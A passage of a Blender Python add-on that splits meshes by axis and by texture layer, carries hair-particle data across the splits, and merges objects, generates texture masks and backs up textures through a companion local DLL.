>= minfaces):\n \n # edit mode\n bpy.ops.object.mode_set (mode = 'EDIT')\n \n # separate\n bpy.ops.mesh.separate ()\n \n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n \n # log\n print (\"Split \", len (group.objects))\n \n # advance\n position += clustery\n \n # unselect\n obj.select = False\n\n if (dividez > 1):\n\n for obj in group.objects:\n\n # active object\n scene.objects.active = obj; obj.select = True\n \n # deselect faces\n for f in obj.data.faces: f.select = False\n \n position = minv [2]\n for z in range (dividez - 1):\n\n # end positiom\n end = position + clusterz\n \n count = 0\n\n # taking whole faces\n for f in obj.data.faces:\n if f.center [2] >= position and f.center [2] <= end : f.select = True; count += 1\n\n if ((len (obj.data.faces) - count) < minfaces): break\n \n if (count >= minfaces):\n \n # edit mode\n bpy.ops.object.mode_set (mode = 'EDIT')\n\n # separate\n bpy.ops.mesh.separate ()\n\n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n \n # log\n print (\"Split \", len (group.objects))\n \n # advance\n position += clusterz\n \n # unselect\n obj.select = False\n\n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n \n # deselect\n bpy.ops.object.select_all (action = 'DESELECT')\n\n # particles\n if (scene.shift_mt_particles):\n \n print ('') \n print ('Splitting particles ..')\n\n # delete degenerated objects\n for obji, obj in enumerate (group.objects):\n\n if len (obj.data.faces) == 0 or len (obj.data.vertices) == 0:\n\n scene.objects.unlink (obj)\n\n # select new objects\n for obji, obj in enumerate (group.objects):\n\n # set active object\n scene.objects.active = obj; obj.select = True\n\n # particles\n if (scene.shift_mt_particles):\n\n facec = 0\n\n # toolkit dll\n toolkit = windll.LoadLibrary (sys.path [0] + '\\shift_toolkit.dll')\n\n for f in obj.data.faces:\n \n v1 = obj.data.vertices [f.vertices [0]]\n v2 = obj.data.vertices [f.vertices [1]]\n v3 = obj.data.vertices [f.vertices [2]]\n\n faces [facec ] = v1.co [0]\n faces [facec + 1] = v1.co [1]\n faces [facec + 2] = v1.co [2]\n \n faces [facec + 3] = v2.co [0]\n faces [facec + 4] = v2.co [1]\n faces [facec + 5] = v2.co [2]\n \n faces [facec + 6] = v3.co [0]\n faces [facec + 7] = v3.co [1]\n faces [facec + 8] = v3.co [2]\n\n facec += 9\n\n for si, s in enumerate (obj.particle_systems):\n\n if (s.settings.type == 'HAIR'):\n\n # active system\n obj.particle_systems.active_index = si\n\n # cut particles\n count = toolkit.processParticlesCut (particlesi [si], particles [si], faces, particlec [si], facec)\n\n # create new settings\n s.settings = \\\n s.settings.copy ()\n s.settings.count = count\n\n # refresh\n bpy.ops.object.mode_set (mode = 'EDIT')\n bpy.ops.object.mode_set (mode = 'OBJECT')\n\n # shortcut\n obj_particles = s.particles\n\n # shortcut\n data = data_particles [si]\n\n for i, p in enumerate (obj_particles):\n\n index = particlesi [si][i]\n\n p.alive_state = data [index][ 0]\n p.location [0] = data [index][ 1]\n p.location [1] = data [index][ 2]\n p.location [2] = data [index][ 3]\n p.rotation [0] = data [index][ 4]\n p.rotation [1] = data [index][ 5]\n p.rotation [2] = data [index][ 6]\n p.rotation [3] = data [index][ 7]\n p.size = data [index][ 8]\n p.velocity [0] = data [index][ 9]\n p.velocity [1] = data [index][10]\n p.velocity [2] = data [index][11]\n p.angular_velocity [0] = data [index][12]\n p.angular_velocity [1] = data [index][13]\n p.angular_velocity [2] = data [index][14]\n p.prev_location [0] = data [index][15]\n p.prev_location [1] = data [index][16]\n p.prev_location [2] = data [index][17]\n p.prev_rotation [0] = data [index][18]\n p.prev_rotation [1] = data [index][19]\n p.prev_rotation [2] = data [index][20]\n p.prev_rotation [3] = data [index][21]\n p.prev_velocity [0] = data [index][22]\n p.prev_velocity [1] = data [index][23]\n p.prev_velocity [2] = data [index][24]\n p.prev_angular_velocity [0] = data [index][25]\n p.prev_angular_velocity [1] = data [index][26]\n p.prev_angular_velocity [2] = data [index][27]\n p.lifetime = data [index][28]\n p.birth_time = data [index][29]\n p.die_time = data [index][30]\n\n c = min (data [index][31], len (p.is_hair))\n\n keys = data [index][32]; k = 0\n\n for j in range (c):\n\n h = p.is_hair [j]\n \n h.co [0] = keys [k ]\n h.co [1] = keys [k + 1]\n h.co [2] = keys [k + 2]\n\n # WRITING ON THESE CAUSE INVALID DATA\n## h.co_hair_space [0] = keys [k + 3]\n## h.co_hair_space [1] = keys [k + 4]\n## h.co_hair_space [2] = keys [k + 5]\n \n h.time = keys [k + 6]\n h.weight = keys [k + 7]\n \n k += 8\n\n c = min (data [index][33], len (p.keys))\n\n keys = data [index][34]; k = 0\n for j in range (c):\n\n key = p.keys [j]\n\n key.angular_velocity [0] = keys [k ]\n key.angular_velocity [1] = keys [k + 1]\n key.angular_velocity [2] = keys [k + 2]\n key.location [0] = keys [k + 3]\n key.location [1] = keys [k + 4]\n key.location [2] = keys [k + 5]\n key.rotation [0] = keys [k + 6]\n key.rotation [1] = keys [k + 7]\n key.rotation [2] = keys [k + 8]\n key.rotation [3] = keys [k + 9]\n key.velocity [0] = keys [k + 10]\n key.velocity [1] = keys [k + 11]\n key.velocity [2] = keys [k + 12]\n key.time = keys [k + 13]\n\n k += 14\n\n # log\n print (\"Split \", obji + 1)\n\n # particles clean up\n if (scene.shift_mt_particles):\n\n data_particles [:] = []\n \n particles [:] = []\n particlesi [:] = []\n\n particlec [:] = []\n\n del faces\n \n # restoring normals\n if scene.shift_mt_preserve :\n \n for obj in group.objects:\n\n scene.objects.active = obj\n\n mesh = obj.data\n data = obj.data.vertex_colors.active.data\n\n tags = [True for v in mesh.vertices]\n\n for i, col in enumerate (data) :\n\n f = mesh.faces [i]\n\n i1 = f.vertices [0]\n i2 = f.vertices [1]\n i3 = f.vertices [2]\n \n if tags [i1] :\n v = mesh.vertices [i1]\n v.normal [0] = 2.0 * col.color1 [0] - 1.0\n v.normal [1] = 2.0 * col.color1 [1] - 1.0\n v.normal [2] = 2.0 * col.color1 [2] - 1.0\n tags [i1] = False\n \n if tags [i2] :\n v = mesh.vertices [i2]\n v.normal [0] = 2.0 * col.color2 [0] - 1.0\n v.normal [1] = 2.0 * col.color2 [1] - 1.0\n v.normal [2] = 2.0 * col.color2 [2] - 1.0\n tags [i2] = False\n \n if tags [i3] :\n v = mesh.vertices [i3]\n v.normal [0] = 2.0 * col.color3 [0] - 1.0\n v.normal [1] = 2.0 * col.color3 [1] - 1.0\n v.normal [2] = 2.0 * col.color3 [2] - 1.0\n tags [i3] = False\n \n # remove color layer\n try:\n\n # active color layer\n obj.data.vertex_colors.active = obj.data.vertex_colors [gname]\n \n # edit mode\n bpy.ops.object.mode_set (mode = 'EDIT')\n\n # remove uv layer\n bpy.ops.mesh.vertex_color_remove ()\n \n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n \n except: pass\n \n # clean up\n tags [:] = []\n\n # remove group\n bpy.data.groups.remove (group)\n\n # particles\n if (scene.shift_mt_particles):\n \n # unload dll\n del toolkit \n \n # log \n print ('')\n print ('Splitting finished in %.4f sec.' % (time.clock () - start_time))\n \n return\n\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n#### PROCESS SPLIT/UNVEIL TEXTURE\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n\ndef processSplitTex (mode):\n\n start_time = time.clock ()\n\n # shortcut\n scene = bpy.context.scene\n\n # shortcut\n obj = bpy.context.object\n\n # set active object\n scene.objects.active = obj\n\n # shortcut\n mesh = obj.data\n\n # is it mesh ?\n if not obj or obj.type != 'MESH':\n\n print (\"ERROR | Selected object is not mesh\")\n return -1 \n\n # does it have UV coords ?\n if not mesh.uv_textures.active:\n\n print (\"ERROR | Selected object do not have UV texture layer\")\n return -1 \n \n if mode == 'SPLIT':\n \n # log\n print ('\\nSplit starting... ')\n print ('')\n \n elif mode == 'UNVEIL':\n\n # log\n print ('\\nUnveil starting... ')\n print ('')\n \n elif mode == 'POLISH':\n\n # log\n print ('\\nPolish starting... ')\n print ('')\n \n names = (scene.shift_mt_tex0,\n scene.shift_mt_tex1,\n scene.shift_mt_tex2,\n scene.shift_mt_tex3,\n scene.shift_mt_tex4,\n scene.shift_mt_tex5,\n scene.shift_mt_tex6,\n scene.shift_mt_tex7,\n scene.shift_mt_tex8,\n scene.shift_mt_tex9,\n scene.shift_mt_texA,\n scene.shift_mt_texB,\n scene.shift_mt_texC,\n scene.shift_mt_texD,\n scene.shift_mt_texE,\n scene.shift_mt_texF)\n \n textures = []\n\n for n in names :\n \n if (n != '') :\n try: tex = bpy.data.textures [n]\n except:\n print (\"ERROR | Cannot find texture : '\" + n + \"'\")\n return -1\n\n try : tex.image.filepath\n except :\n print (\"ERROR | Texture : '\" + n + \"' is not image\")\n return -1\n\n if not (tex.image.filepath == ''): textures.append ([tex])\n else:\n print (\"ERROR | Texture : '\" + n + \"' is not external image\")\n return -1\n\n if len (textures) == 0 : return\n\n if mode == 'SPLIT':\n\n # group name\n gname = \"tmp_\" + obj.name\n\n # create temporary group\n bpy.ops.group.create (name = gname)\n\n convert = False\n\n # check mesh\n for f in mesh.faces:\n \n try: f.vertices [3]\n except: continue\n\n convert = True\n\n # convert into triangles\n if (convert):\n \n # edit mode\n bpy.ops.object.mode_set (mode = 'EDIT')\n \n # face selection mode\n bpy.context.tool_settings.mesh_select_mode = (False, False, True)\n \n # select all\n bpy.ops.mesh.select_all (action = 'SELECT')\n \n # unhide all faces\n bpy.ops.mesh.reveal ()\n \n # conversion\n bpy.ops.mesh.quads_convert_to_tris ()\n \n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n\n#### # save area\n#### otype = bpy.context.area.type\n####\n#### # image context\n#### bpy.context.area.type = 'IMAGE_EDITOR'\n####\n#### # array of names\n#### narraytype = ctypes.c_char_p * len (textures); narray = narraytype ()\n#### \n#### for i, t in enumerate (textures):\n####\n#### filep = bpy.path.abspath ('//') + 'tmp_' + str (i) + '.tga'\n####\n#### narray [i] = ctypes.c_char_p (filep.encode ('ascii')); t.append (filep)\n####\n#### bpy.context.area.active_space.image = t [0].image\n####\n#### bpy.ops.image.save_as (file_type = 'TARGA RAW', filepath = filep, relative_path = False, copy = True)\n####\n#### # restore area\n#### bpy.context.area.type = otype\n\n\n # array of names\n narraytype = ctypes.c_char_p * len (textures); narray = narraytype ()\n \n for i, t in enumerate (textures):\n\n filep = bpy.path.abspath (t [0].image.filepath)\n\n narray [i] = ctypes.c_char_p (filep.encode ('ascii')); t.append (filep)\n\n # ADD HERE OPTION TO SAVE EDITED EXTERNAL FILES\n \n # toolkit dll\n toolkit = windll.LoadLibrary (sys.path [0] + '\\shift_toolkit.dll')\n \n # file\n filep = bpy.path.abspath ('//') + 'tmp_err.tga'; fileb = filep.encode ('ascii')\n\n # BEGIN\n r = toolkit.processTexSplitBegin (narray, ctypes.c_char_p (fileb), len (textures),\n ctypes.c_uint (scene.shift_mt_overlap),\n ctypes.c_uint (scene.shift_mt_kernel_antialias),\n ctypes.c_uint (scene.shift_mt_kernel_scan),\n ctypes.c_float (scene.shift_mt_tolerancyt / 100.0),\n ctypes.c_float (scene.shift_mt_tolerancyf / 100.0))\n\n # result ..\n if (r < 0.0):\n \n # END\n toolkit.processTexSplitEnd (0, 0)\n\n # cleanup\n del toolkit\n\n if (r == -1): print (\"ERROR | Cannot open external image files (Only uncompressed RGB targa are supported). \\n\")\n elif (r == -2): print (\"ERROR | Images have inconsistent dimensions. \\n\")\n elif (r == -3): print (\"ERROR | Only uncompressed RGB targa are supported. \\n\")\n else: print (\"ERROR | There are some problems acessing image files. \\n\")\n \n return -1\n\n if mode == 'SPLIT':\n\n # active UV texture layer\n layer = mesh.uv_textures.active\n\n # face selection mode\n bpy.context.tool_settings.mesh_select_mode = (False, False, True)\n \n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n \n # masks are saved into texture coords\n mlayer = mesh.uv_textures.new ('tmp_masks')\n\n # set active UVs\n mesh.uv_textures.active = mlayer\n\n # list of masks\n lmasks = []\n\n # errors\n err = False\n\n for i, f in enumerate (mesh.faces) : f.select = False\n\n\n # ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????\n for i, f in enumerate (mesh.faces):\n\n uv1 = layer.data [i].uv1\n uv2 = layer.data [i].uv2\n uv3 = layer.data [i].uv3\n \n r = toolkit.processTexMaskTriangle (ctypes.c_float (uv1 [0]),\n ctypes.c_float (uv1 [1]),\n ctypes.c_float (uv2 [0]),\n ctypes.c_float (uv2 [1]),\n ctypes.c_float (uv3 [0]),\n ctypes.c_float (uv3 [1]))\n \n # PROCESS\n for i, f in enumerate (mesh.faces) :\n\n uv1 = layer.data [i].uv1\n uv2 = layer.data [i].uv2\n uv3 = layer.data [i].uv3\n \n r = toolkit.processTexSplitTriangle (ctypes.c_float (uv1 [0]),\n ctypes.c_float (uv1 [1]),\n ctypes.c_float (uv2 [0]),\n ctypes.c_float (uv2 [1]),\n ctypes.c_float (uv3 [0]),\n ctypes.c_float (uv3 [1]))\n\n if (r == 0): f.select = True; err = True; continue\n else: f.select = False\n\n mlayer.data [i].uv1 [0] = r\n mlayer.data [i].uv2 [0] = r\n mlayer.data [i].uv3 [0] = r\n\n found = False\n for mask in lmasks:\n if mask == r:\n found = True;\n break\n \n if not found: lmasks.append (r)\n \n if (err):\n\n # END\n toolkit.processTexSplitEnd (0, 1)\n\n # reload images\n for t in textures: t [0].image.reload ()\n \n # update views\n for scr in bpy.data.screens:\n for area in scr.areas:\n area.tag_redraw ()\n\n # cleanup\n del toolkit\n \n # active layer\n obj.data.uv_textures.active = mlayer\n\n # remove\n try: bpy.ops.mesh.uv_texture_remove ()\n except: pass\n\n # exclude from group\n bpy.ops.object.group_remove ()\n\n # remove group\n bpy.data.groups.remove (bpy.data.groups [gname])\n \n print (\"ERROR | There are some faces that use more then maximum overlapping layers (\" + str (scene.shift_mt_overlap) + \") \\n\")\n print (\" Problematic faces are selected.\")\n \n return -1\n\n # our group\n group = bpy.data.groups [gname]\n\n # separate parts\n for i, m in enumerate (lmasks):\n\n data = obj.data.uv_textures ['tmp_masks'].data\n \n for j, f in enumerate (mesh.faces):\n if (data [j].uv1 [0] == m): f.select = True\n\n # edit mode\n bpy.ops.object.mode_set (mode = 'EDIT')\n\n # separate\n bpy.ops.mesh.separate ()\n\n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n\n # add mask to new mesh\n group.objects [0].data ['texmask'] = m\n\n\n # remove empty object from group\n bpy.ops.group.objects_remove_active ()\n \n # clean up\n scene.objects.unlink (obj) \n\n # deselect\n bpy.ops.object.select_all (action = 'DESELECT')\n\n # select new objects\n for obj in group.objects:\n\n scene.objects.active = obj; obj.select = True\n\n # mask\n m = obj.data ['texmask']\n\n # delete temporary bit-mask\n del obj.data ['texmask']\n\n j = 0\n for i in range (32):\n \n if (m & (1 << i)):\n if (j == 0): obj.data ['splittexA'] = i; j += 1\n elif (j == 1): obj.data ['splittexB'] = i; j += 1\n elif (j == 2): obj.data ['splittexC'] = i; j += 1\n elif (j == 3): obj.data ['splittexD'] = i; j += 1\n else: break\n \n # active layer\n obj.data.uv_textures.active = obj.data.uv_textures ['tmp_masks']\n\n # remove\n try: bpy.ops.mesh.uv_texture_remove () \n except: pass\n \n # remove group\n bpy.data.groups.remove (group)\n\n # END\n toolkit.processTexSplitEnd (0, 0)\n \n\n elif mode == 'UNVEIL':\n \n # active UV texture layer\n layer = mesh.uv_textures.active\n\n toolkit.processTexUnveilUpdate ()\n\n if (scene.shift_mt_selectedfaces):\n \n for i, f in enumerate (mesh.faces):\n\n if (f.select):\n\n uv1 = layer.data [i].uv1\n uv2 = layer.data [i].uv2\n uv3 = layer.data [i].uv3\n \n r = toolkit.processTexUnveilFaceTriangle (ctypes.c_float (uv1 [0]),\n ctypes.c_float (uv1 [1]),\n ctypes.c_float (uv2 [0]),\n ctypes.c_float (uv2 [1]),\n ctypes.c_float (uv3 [0]),\n ctypes.c_float (uv3 [1]), ctypes.c_int (0))\n else:\n \n for i, f in enumerate (mesh.faces):\n\n uv1 = layer.data [i].uv1\n uv2 = layer.data [i].uv2\n uv3 = layer.data [i].uv3\n \n r = toolkit.processTexUnveilFaceTriangle (ctypes.c_float (uv1 [0]),\n ctypes.c_float (uv1 [1]),\n ctypes.c_float (uv2 [0]),\n ctypes.c_float (uv2 [1]),\n ctypes.c_float (uv3 [0]),\n ctypes.c_float (uv3 [1]), ctypes.c_int (0))\n \n # END\n toolkit.processTexSplitEnd (1, 0)\n\n # reload images\n for t in textures: t [0].image.reload ()\n\n # update views\n for scr in bpy.data.screens:\n for area in scr.areas:\n area.tag_redraw ()\n\n elif mode == 'POLISH':\n\n # active UV texture layer\n layer = mesh.uv_textures.active\n\n toolkit.processTexUnveilUpdate ()\n\n for i, f in enumerate (mesh.faces):\n\n uv1 = layer.data [i].uv1\n uv2 = layer.data [i].uv2\n uv3 = layer.data [i].uv3\n \n r = toolkit.processTexUnveilFaceTriangle (ctypes.c_float (uv1 [0]),\n ctypes.c_float (uv1 [1]),\n ctypes.c_float (uv2 [0]),\n ctypes.c_float (uv2 [1]),\n ctypes.c_float (uv3 [0]),\n ctypes.c_float (uv3 [1]), ctypes.c_int (0))\n\n## for i, f in enumerate (mesh.faces):\n##\n## uv1 = layer.data [i].uv1\n## uv2 = layer.data [i].uv2\n## uv3 = layer.data [i].uv3\n## \n## r = toolkit.processTexMaskTriangle (ctypes.c_float (uv1 [0]),\n## ctypes.c_float (uv1 [1]),\n## ctypes.c_float (uv2 [0]),\n## ctypes.c_float (uv2 [1]),\n## ctypes.c_float (uv3 [0]),\n## ctypes.c_float (uv3 [1]))\n\n if (scene.shift_mt_selectedfaces):\n \n for i, f in enumerate (mesh.faces):\n\n if (f.select):\n\n uv1 = layer.data [i].uv1\n uv2 = layer.data [i].uv2\n uv3 = layer.data [i].uv3\n \n r = toolkit.processTexPolishFaceTriangle (ctypes.c_float (uv1 [0]),\n ctypes.c_float (uv1 [1]),\n ctypes.c_float (uv2 [0]),\n ctypes.c_float (uv2 [1]),\n ctypes.c_float (uv3 [0]),\n ctypes.c_float (uv3 [1]), ctypes.c_int (50))\n \n else:\n \n for i, f in enumerate (mesh.faces):\n\n uv1 = layer.data [i].uv1\n uv2 = layer.data [i].uv2\n uv3 = layer.data [i].uv3\n \n r = toolkit.processTexPolishFaceTriangle (ctypes.c_float (uv1 [0]),\n ctypes.c_float (uv1 [1]),\n ctypes.c_float (uv2 [0]),\n ctypes.c_float (uv2 [1]),\n ctypes.c_float (uv3 [0]),\n ctypes.c_float (uv3 [1]), ctypes.c_int (50))\n\n## for i, f in enumerate (mesh.faces):\n##\n## uv1 = layer.data [i].uv1\n## uv2 = layer.data [i].uv2\n## uv3 = layer.data [i].uv3\n## \n## r = toolkit.processTexMaskTriangle (ctypes.c_float (uv1 [0]),\n## ctypes.c_float (uv1 [1]),\n## ctypes.c_float (uv2 [0]),\n## ctypes.c_float (uv2 [1]),\n## ctypes.c_float (uv3 [0]),\n## ctypes.c_float (uv3 [1]))\n\n\n # END\n toolkit.processTexSplitEnd (1, 0)\n\n # reload images\n for t in textures: t [0].image.reload ()\n\n # update views\n for scr in bpy.data.screens:\n for area in scr.areas:\n area.tag_redraw ()\n \n # unload dll\n del toolkit\n\n if mode == 'SPLIT':\n \n # log \n print ('')\n print ('Split finished in %.4f sec.' % (time.clock () - start_time))\n \n elif mode == 'UNVEIL':\n \n # log \n print ('')\n print ('Unveil finished in %.4f sec.' % (time.clock () - start_time))\n \n elif mode == 'POLISH':\n \n # log \n print ('')\n print ('Polish finished in %.4f sec.' % (time.clock () - start_time))\n \n return\n\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n#### PROCESS SPLIT TEXTURE MERGE\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n\ndef processSplitTexMerge ():\n\n start_time = time.clock ()\n\n # shortcut\n scene = bpy.context.scene\n\n # shortcut\n selected = bpy.context.selected_objects\n\n # deselect invalid objects\n for obj in selected: \n\n # is it mesh ?\n if not (obj and obj.type == 'MESH'):\n\n obj.select = False\n\n # shortcut\n selected = bpy.context.selected_objects\n \n # check\n if (len (selected) < 2): return -1\n \n # create temporary group from selected objects\n bpy.ops.group.create (name = \"tmp_group\"); group = bpy.data.groups [\"tmp_group\"]\n \n # log\n print ('\\nMergeing starting... \\n\\n\\tObjects (', len (selected), ') :')\n print ('')\n \n while (len (group.objects) > 1):\n \n # list of textures\n textures = []\n\n # init\n reduced = False\n\n # list of objects sorted by poly-count\n sselected = sorted ([[obj, len (obj.data.faces)] for obj in group.objects], key=lambda objt: objt [1], reverse = False)\n\n # set active object\n scene.objects.active = sselected [0][0]\n\n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n\n # deselect all\n bpy.ops.object.select_all (action = 'DESELECT')\n\n for i, (obj, l) in enumerate (sselected):\n\n # make copy\n backup = list (textures)\n \n try:\n textures.append (obj.data ['splittexA'])\n try:\n textures.append (obj.data ['splittexB'])\n try:\n textures.append (obj.data ['splittexC'])\n try:\n textures.append (obj.data ['splittexD'])\n except: pass\n except: pass\n except: pass\n except: pass\n\n # sort textures and remove doubles\n\n textures.sort ()\n\n ltextures = len (textures); tprev = None\n \n n = 0\n while (n < ltextures):\n t = textures [n]\n if (t == tprev):\n del textures [n]; ltextures -= 1\n continue\n tprev = t; n += 1\n\n ltextures = len (textures)\n\n if (ltextures <= scene.shift_mt_overlap):\n\n # select\n obj.select = True\n\n # join 2 meshes\n if len (bpy.context.selected_objects) == 2:\n\n # join meshes\n bpy.ops.object.join (); reduced = True\n\n # we set new object for print out\n obj = bpy.context.object\n \n # log\n print (i + 1, \"Object : '\", obj.name, \"'\")\n \n else:\n\n # restore texture list\n textures [:] = []; textures = list (backup)\n \n # log\n print (i + 1, \"Object : '\", obj.name, \"' off \")\n\n # clean up\n backup [:] = []\n\n # set new props\n try: bpy.context.object.data ['splittexA'] = textures [0]\n except: pass;\n try: bpy.context.object.data ['splittexB'] = textures [1]\n except: pass;\n try: bpy.context.object.data ['splittexC'] = textures [2]\n except: pass;\n try: bpy.context.object.data ['splittexD'] = textures [3]\n except: pass;\n\n # remove doubles\n if scene.shift_mt_mdouble :\n\n #### THIS WILL FUCK UP NORMALS !!!!!! \n\n # edit mode\n bpy.ops.object.mode_set (mode = 'EDIT')\n\n # vertex selection mode\n bpy.context.tool_settings.mesh_select_mode = (True, False, False)\n\n # select all vertices\n bpy.ops.mesh.select_all (action = 'SELECT')\n\n # merge dobules\n bpy.ops.mesh.remove_doubles ()\n \n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n\n # clean up\n sselected [:] = []\n textures [:] = []\n \n # nothing changed ?\n if (not reduced):\n\n bpy.ops.group.objects_remove_active ()\n \n # remove group\n bpy.data.groups.remove (group)\n \n # log \n print ('')\n print ('Merge finished in %.4f sec.' % (time.clock () - start_time))\n \n return\n\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n#### PROCESS SPLIT TEXTURE GENERATE\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n\ndef processSplitTexGenerate ():\n\n start_time = time.clock ()\n\n # shortcut\n scene = bpy.context.scene\n\n # shortcut\n selected = bpy.context.selected_objects\n\n # check path\n if (scene.shift_mt_generate_path == ''):\n \n print (\"ERROR | Invalid file path\")\n return -1\n\n # log\n print ('\\nGenerate starting... \\n\\n\\tObjects (', len (selected), ') :')\n print ('')\n\n names = (scene.shift_mt_tex0,\n scene.shift_mt_tex1,\n scene.shift_mt_tex2,\n scene.shift_mt_tex3,\n scene.shift_mt_tex4,\n scene.shift_mt_tex5,\n scene.shift_mt_tex6,\n scene.shift_mt_tex7,\n scene.shift_mt_tex8,\n scene.shift_mt_tex9,\n scene.shift_mt_texA,\n scene.shift_mt_texB,\n scene.shift_mt_texC,\n scene.shift_mt_texD,\n scene.shift_mt_texE,\n scene.shift_mt_texF)\n\n # CHECK INPUT\n \n textures = []\n\n for n in names :\n \n if (n != '') :\n try: tex = bpy.data.textures [n]\n except:\n print (\"ERROR | Cannot find texture : '\" + n + \"'\")\n return -1\n\n try : tex.image.filepath\n except :\n print (\"ERROR | Texture : '\" + n + \"' is not an image\")\n return -1\n \n if (tex.image.filepath == ''):\n print (\"ERROR | Texture : '\" + n + \"' is not external image\")\n return -1\n \n textures.append ([tex])\n\n if len (textures) == 0 : return\n\n # array of names\n narraytype = ctypes.c_char_p * len (textures); narray = narraytype ()\n \n for i, t in enumerate (textures):\n\n filep = bpy.path.abspath (t [0].image.filepath); print (filep)\n\n narray [i] = ctypes.c_char_p (filep.encode ('ascii')); t.append (filep)\n\n # ADD HERE OPTION TO SAVE EDITED EXTERNAL FILES\n\n print (\"\")\n\n\n#### # SAVE TEMPORARY IMAGES\n####\n#### # save area\n#### otype = bpy.context.area.type\n####\n#### # image context\n#### bpy.context.area.type = 'IMAGE_EDITOR'\n#### \n#### narraytype = ctypes.c_char_p * len (textures); narray = narraytype ()\n#### \n#### for i, t in enumerate (textures):\n####\n#### filep = scene.shift_mt_generate_path + 'tmp_' + str (i) + '.tga'\n####\n#### narray [i] = ctypes.c_char_p (filep.encode ('ascii')); t.append (filep)\n####\n#### bpy.context.area.active_space.image = t [0].image\n####\n#### bpy.ops.image.save_as (file_type = 'TARGA RAW', filepath = filep, relative_path = False, copy = True)\n####\n#### # restore area\n#### bpy.context.area.type = otype\n\n # PROCESS OBJECTS\n\n # toolkit dll\n toolkit = windll.LoadLibrary (sys.path [0] + '\\shift_toolkit.dll')\n\n texset = []\n \n for obj in selected:\n\n # is it mesh ?\n if obj and obj.type == 'MESH':\n\n texA = -1\n texB = -1\n texC = -1\n texD = -1\n\n count = 0\n\n try: texA = obj.data ['splittexA']; count += 1\n except: pass\n try: texB = obj.data ['splittexB']; count += 1\n except: pass\n try: texC = obj.data ['splittexC']; count += 1\n except: pass\n try: texD = obj.data ['splittexD']; count += 1\n except: pass\n\n texset.append ((count, texA, texB, texC, texD))\n\n # sort and remove duplicates\n texset.sort ()\n \n tprev = None; l = len (texset)\n \n i = 0\n while (i < l):\n t = texset [i]\n if (t == tprev):\n del texset [i]; l -= 1\n continue\n tprev = t; i += 1\n\n # array of indices\n iarraytype = ctypes.c_ubyte * 4; iarray = iarraytype ()\n\n for t in texset:\n\n count = t [0]\n\n if (count == 2):\n iarray [0] = t [1]\n iarray [1] = t [2]\n\n # file\n tname = 'mask-' + str (t [1]) + '-' + str (t [2])\n fileout = scene.shift_mt_generate_path + tname + '.tga'\n fileout = fileout.encode ('ascii')\n \n elif (count == 3):\n iarray [0] = t [1]\n iarray [1] = t [2]\n iarray [2] = t [3]\n\n # file\n tname = 'mask-' + str (t [1]) + '-' + str (t [2]) + '-' + str (t [3])\n fileout = scene.shift_mt_generate_path + tname + '.tga'\n fileout = fileout.encode ('ascii')\n \n elif (count == 4):\n iarray [0] = t [1]\n iarray [1] = t [2]\n iarray [2] = t [3]\n iarray [3] = t [4]\n\n # file\n tname = 'mask-' + str (t [1]) + '-' + str (t [2]) + '-' + str (t [3]) + '-' + str (t [4])\n fileout = scene.shift_mt_generate_path + tname + '.tga'\n fileout = fileout.encode ('ascii')\n \n else : continue\n\n # GENERATE\n r = toolkit.processTexSplitGenerate (narray, ctypes.c_char_p (fileout), iarray, count)\n\n if (r < 0):\n print ('ERROR | Cannot open/access images')\n\n # load new image\n img = bpy.data.images.load (fileout)\n\n # create new texture\n tex = bpy.data.textures.new (name = tname, type = 'IMAGE'); tex.image = img\n \n # unload dll \n del toolkit\n\n # generate materials\n if scene.shift_mt_generate_mat:\n\n for obj in selected:\n \n # is it mesh ?\n if obj and obj.type == 'MESH' and obj.active_material:\n\n count = 0\n\n try: texA = obj.data ['splittexA']; count += 1\n except: texA\n try: texB = obj.data ['splittexB']; count += 1\n except: texB\n try: texC = obj.data ['splittexC']; count += 1\n except: texC\n try: texD = obj.data ['splittexD']; count += 1\n except: texD\n\n scene.objects.active = obj\n\n if (count == 2): name = '-' + str (texA) + '-' + str (texB)\n elif (count == 3): name = '-' + str (texA) + '-' + str (texB) + '-' + str (texC)\n elif (count == 4): name = '-' + str (texA) + '-' + str (texB) + '-' + str (texC) + '-' + str (texD)\n else: continue \n\n # original material\n originalmat = obj.active_material\n\n # new material name\n matname = originalmat.name + name\n\n exist = False\n\n try: obj.active_material = bpy.data.materials [matname]; exist = True\n except: pass\n\n # create material copy\n if (not exist):\n\n mat = originalmat.copy (); mat.name = matname; obj.active_material = mat\n\n # create custom property\n if scene.shift_mt_generate_prop != '':\n\n obj.active_material [scene.shift_mt_generate_prop] = 'mask' + name\n\n # log \n print ('')\n print ('Generate finished in %.4f sec.' % (time.clock () - start_time))\n \n return\n\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n#### PROCESS SPLIT TEXTURE BACKUP\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n\ndef processSplitTexBackup ():\n \n start_time = time.clock ()\n\n # shortcut\n scene = bpy.context.scene\n\n # log\n print ('\\nBackup starting... \\n')\n print ('')\n\n names = (scene.shift_mt_tex0,\n scene.shift_mt_tex1,\n scene.shift_mt_tex2,\n scene.shift_mt_tex3,\n scene.shift_mt_tex4,\n scene.shift_mt_tex5,\n scene.shift_mt_tex6,\n scene.shift_mt_tex7,\n scene.shift_mt_tex8,\n scene.shift_mt_tex9,\n scene.shift_mt_texA,\n scene.shift_mt_texB,\n scene.shift_mt_texC,\n scene.shift_mt_texD,\n scene.shift_mt_texE,\n scene.shift_mt_texF)\n \n for n in names :\n \n if (n != '') :\n try: tex = bpy.data.textures [n]\n except:\n print (\"ERROR | Cannot find texture : '\" + n + \"'\")\n return -1\n\n try : tex.image.filepath\n except :\n print (\"ERROR | Texture : '\" + n + \"' is not an image\")\n return -1\n \n if (tex.image.filepath == ''):\n print 